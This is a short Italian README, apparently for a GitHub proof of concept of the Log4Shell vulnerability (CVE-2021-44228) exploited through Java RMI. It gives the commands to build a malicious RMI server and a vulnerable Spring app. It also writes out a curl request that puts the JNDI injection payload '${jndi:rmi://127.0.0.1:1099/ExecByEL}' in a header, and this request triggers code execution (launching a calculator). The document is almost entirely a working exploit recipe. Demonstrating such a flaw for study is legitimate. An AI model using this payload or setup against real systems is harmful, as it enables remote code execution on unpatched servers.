labout/log4shell-rmi-pocUna prova di concetto delle vulnerabilità Log4j (CVE-2021-44228) tramite Java-RMI
Una prova di concetto della vulnerabilità Log4j (CVE-2021-44228) su Java-RMI
Usa Log4j 2.5.7 da spring-boot-starter-log4j2
Testato con Java 8 (JDK 1.8.0_25) e Java 11 (JDK 11.0.1)
git clone https://github.com/Labout/log4shell-rmi-poc.git
cd Log4jshell_rmi_server
./mvnw clean package
java -jar target/Log4jshell.rmi.server-0.0.1-SNAPSHOT.jar
Dovresti ottenere qualcosa del genere:
In un nuovo terminale
cd vulnerabel_log4j_app
./mvnw clean package
java -jar target/vulnerabel_log4j_app-0.0.1-SNAPSHOT.jar
curl 'http://localhost:8080/hello' --header 'Accept-Version: ${jndi:rmi://127.0.0.1:1099/ExecByEL}'
Come puoi vedere, l'app vulnerabile richiama l'app Calcolatrice.
